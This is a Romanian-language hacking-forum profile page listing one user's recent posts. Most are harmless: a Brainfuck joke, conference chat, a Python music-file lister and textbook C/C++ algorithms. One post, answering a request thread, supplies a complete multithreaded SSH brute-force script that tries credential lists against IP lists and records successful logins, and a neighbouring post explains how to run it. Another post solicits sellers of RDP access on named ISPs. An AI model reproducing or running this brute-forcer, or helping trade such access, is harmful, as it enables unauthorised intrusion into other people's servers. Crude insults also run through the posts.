Jump to content

MrGrj

Active Members
  • Content Count

    1355
  • Joined

  • Last visited

  • Days Won

    32

MrGrj last won the day on March 3

MrGrj had the most liked content!

Community Reputation

854 Excellent

About MrGrj

  • Rank
    Smartass developer
  • Birthday 01/01/1990

Profile Information

  • Gender
    Not Telling

Converted

  • Biography
    ┌П┐(◉_◉)┌П┐
  • Location
    ┌П┐(◉_◉)┌П┐
  • Interests
    ┌П┐(◉_◉)┌П┐
  • Occupation
    ┌П┐(◉_◉)┌П┐

Recent Profile Visitors

6659 profile views
  1. Hai ca incerc eu. Din moment ce n-ai mentionat limbaju', o sa aleg Brainfuck: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>+++++++.>-------------------.+++++++++++++++++.+.<<--.>>.----------.<<.>>---.-----.<<+++++++++++++.>>+++++++++++++++++++.-----------.<<-------------.>>+++++++++++.---------------.++++++++.--------.+++++++.-------.<<.>>++++++++++++++.----------.+++++.-------.++++++++++++++.---.<<.>>---------------.--.<<.>>+++.---.++.--.<<.>>+++++++++++++.+++++++.<<.>>+.-----------------.++++.<<.>>++++.++++++++.---.---------.<<.>>+++++++.++.---.++++.+.<<++++++++++++++.--------------.>++++++++++++++++++.>++++++++.<.<.>------------------.>-------.------------.----.<<++.+++++++.
  2. Stai, nu o mai fost unu acu' vreo luna care voia acelasi lucru? @Gecko parca dadusesi tu un reply decent acolo. Da un c/p si apoi inchide postu' asta pana se umple de cancer
  3. MrGrj

    Botii

    Formulat si mai corect: Hello, am si eu o intrebare idioata: Se pot adauga mai multe proxy-uri intr-un program? Peace
  4. GG. Eu inca ma gandesc daca o sa vin si anu' asta. Anu' trecut o fost destul de dezamagitor: 80%au fost hipsteri care probabil au venit sa-si faca selfie-uri, sa ocupe locuri si sa admire slide-urile de pe monitoarele de-acolo. Sper sa fie mai okay anu' asta. PWP
  5. Care veniti bre anu' asta la Defcamp?
  6. Pff, si ce-or sa hackuiasca? Chiuvetele din '86? Aparatura antica din '72? Fonny news
  7. Poate ca e prima oara cand postezi pe un forum, da' de incercat ce-ai incercat? Ce nu iasa? Unde te incurci? Ce erori primesti?
  8. If you selling RDP contact me

    Earthlink
    Cox Communications
    Fuse Internet

    contact me on ICQ 669976896 or skype  jamite20006@yahoo.com
     

  9. Da-mi un PM cu ce vrei mai exact si te rezolv //LE: Imi spui asa: 1. deadline 2. ce buget ai 3. ce versiune de Python vrei 4. specificatii exacte, ca sa nu avem probleme dupa. Daca nu vad astea 4 puncte in PM nu voi raspunde. Mersi
  10. MrGrj

    Aplicatie

    Ce inseamna aplicatie multimedia? Si la ce pret te-ai gandit?
  11. MrGrj

    Caut un programator

    Preturi dulci-acrisoare primiti? Oferta de martisor: iei o muie si primesti doua cadou.
  12. MrGrj

    Cerere

    Trebuie sa mai pui un argument la sfarsitul comenzii: python t.py 500 ips pass bad # adauga asta ^^^ Trebuie sa adaugi asta: paramiko.util.log_to_file("filename.log")
  13. MrGrj

    Cerere

    import Queue import paramiko import sys import threading class SSHBrute(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: ip, user, passwd = self.queue.get() self.kraken(ip, user, passwd) self.queue.task_done() def kraken(self, ip, user, passwd): cracked = [] bad = open('bad.txt', 'w') val = open('valid.txt', 'a') nologs = open('nologins.txt', 'a') raw = open('raw.txt', 'a') dbg = str(sys.argv[4]) try: if ip in cracked: return False if '%user%' in str(passwd): passwd = '{}{}{}'.format(passwd.split("%")[0], user, passwd.split("%")[2]) if '%User%' in str(passwd): pwd = '{}{}'.format(user, passwd.split("%")[2]) passwd = '{}{}'.format(passwd.split("%")[0], pwd.title()) if str(passwd) == '%null%': passwd = '' ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=user, password=passwd, timeout=35) raw.write(ip + ' ' + user + ' ' + passwd + '\n') raw.flush() chan = ssh.get_transport().open_session() chan.settimeout(35) chan.exec_command('uname -a') data = chan.recv(1024) if len(data) == 0: nologs.write('{} {} {}\n'.format(ip, user, passwd)) nologs.flush() return False val.write('{} {} {}|{}\n'.format(ip, user, passwd, data.rstrip())) val.flush() cracked.append(ip) chan.close() ssh.close() return True except Exception as e: if 'uthent' in str(e): if dbg == 'bad': bad.write(ip + '\n') bad.flush() ssh.close() return False ssh.close() return False def brutemain(): if len(sys.argv) < 2: return False ThreadNR = int(sys.argv[1]) queue = Queue.Queue(maxsize=20000) try: i = 0 for i in range(ThreadNR): t = SSHBrute(queue) t.daemon = True t.start() i += 1 except Exception as e: print('Cant start more than {} threads because: {}.'.format(i, e)) with open(str(sys.argv[2]), 'rU') as ipf: ips = ipf.read().splitlines() with open(str(sys.argv[3]), 'rU') as uf: users_and_passwds = uf.read().splitlines() try: for user_and_pass in users_and_passwds: for ip in ips: queue.put((ip, user_and_pass.split(':')[0].strip(), user_and_pass.split(':')[1].strip())) except Exception as e: print('Exception raised: {}'.format(e)) pass queue.join() if __name__ == "__main__": brutemain()
  14. """ Python version: > 3.6 """ import os DIR_PATH = '/path/to/your/music/folder' def print_files_info(): for file in os.listdir(DIR_PATH): file_path = os.path.join(DIR_PATH, file) file_size = os.path.getsize(file_path) print(f'Name: {file}; Size: {file_size} bytes.') if __name__ == '__main__': print_files_info() Asta de mai sus iti afiseasa numele si marimea unui fisier. Daca vrei sa afisezi lungimea melodiei: - pentru fisiere .mp3, poti folosi mutagen: - pentru fisiere .wav, poti folosi wave si contextlib: import contextlib import os import wave from mutagen.mp3 import MP3 DIR_PATH = '/path/to/your/music/folder' def print_files_info(): for file in os.listdir(DIR_PATH): file_path = os.path.join(DIR_PATH, file) file_size = os.path.getsize(file_path) if file.endswith('.mp3'): audio = MP3(file_path) print(f'Name: {file}; Size: {file_size} bytes; Type: mp3; Length: {audio.info.length}') elif file.endswith('.wav'): with contextlib.closing(wave.open(file_path, 'r')) as f: # The length of an audio or wave file is determined by its framerate frames = f.getnframes() rate = f.getframerate() length = frames / float(rate) print(f'Name: {file}; Size: {file_size} bytes; Type: wav; Length: {length}') else: print('Pula .mp3 sau .wav') if __name__ == '__main__': print_files_info()
  15. Toate la un gugal distanta: 1. Reverse string: #include <iostream> void reverseStringInPlace(std::string &stringToReverse) { int numCharacters = stringToReverse.length(); for (int i=0; i<numCharacters/2; i++) { std::swap(stringToReverse[i], stringToReverse[numCharacters-i-1]); } } int main() { std::string stringToReverse = "reversing a string"; std::cout << stringToReverse << std::endl; reverseStringInPlace(stringToReverse); std::cout << stringToReverse << std::endl; return 0; } 2. Factorial (recursive) int factorialfinder(int x) { if (x == 1) // HERE 5 is not equal to 1 so goes to else { return 1; }else { return x*factorialfinder(x-1); // returns 5*4*3*2*1 when x==1 it returns 1 } } 3. GCD (recursive) #include <iostream> using namespace std; int hcf(int n1, int n2); int main() { int n1, n2; cout << "Enter two positive integers: "; cin >> n1 >> n2; cout << "H.C.F of " << n1 << " & " << n2 << " is: " << hcf(n1, n2); return 0; } int hcf(int n1, int n2) { if (n2 != 0) return hcf(n2, n1 % n2); else return n1; } 4. n-th Fibo number #include<stdio.h> int fib(int n) { int f[n+1]; int i; f[0] = 0; f[1] = 1; for (i = 2; i <= n; i++) { f[i] = f[i-1] + f[i-2]; } return f[n]; } int main () { int n = 9; printf("%d", fib(n)); getchar(); return 0; } 5. Ackerman (recursive) #include <stdio.h> int ack(int m, int n) { if (m == 0) return n+1; if (n == 0) return ack( m - 1, 1 ); return ack( m - 1, ack( m, n - 1 ) ); } int main() { for (int i = 0; i < 6; ++i) for (int j = 0; j < 6; ++j) printf("ack(%d,%d) = %d\n", i, j, ack(i,j)); return 0; } La alea cu structuri de date mi-e lene sa caut, da' pula mea, mai fa si tu ceva.
×
×
  • Create New...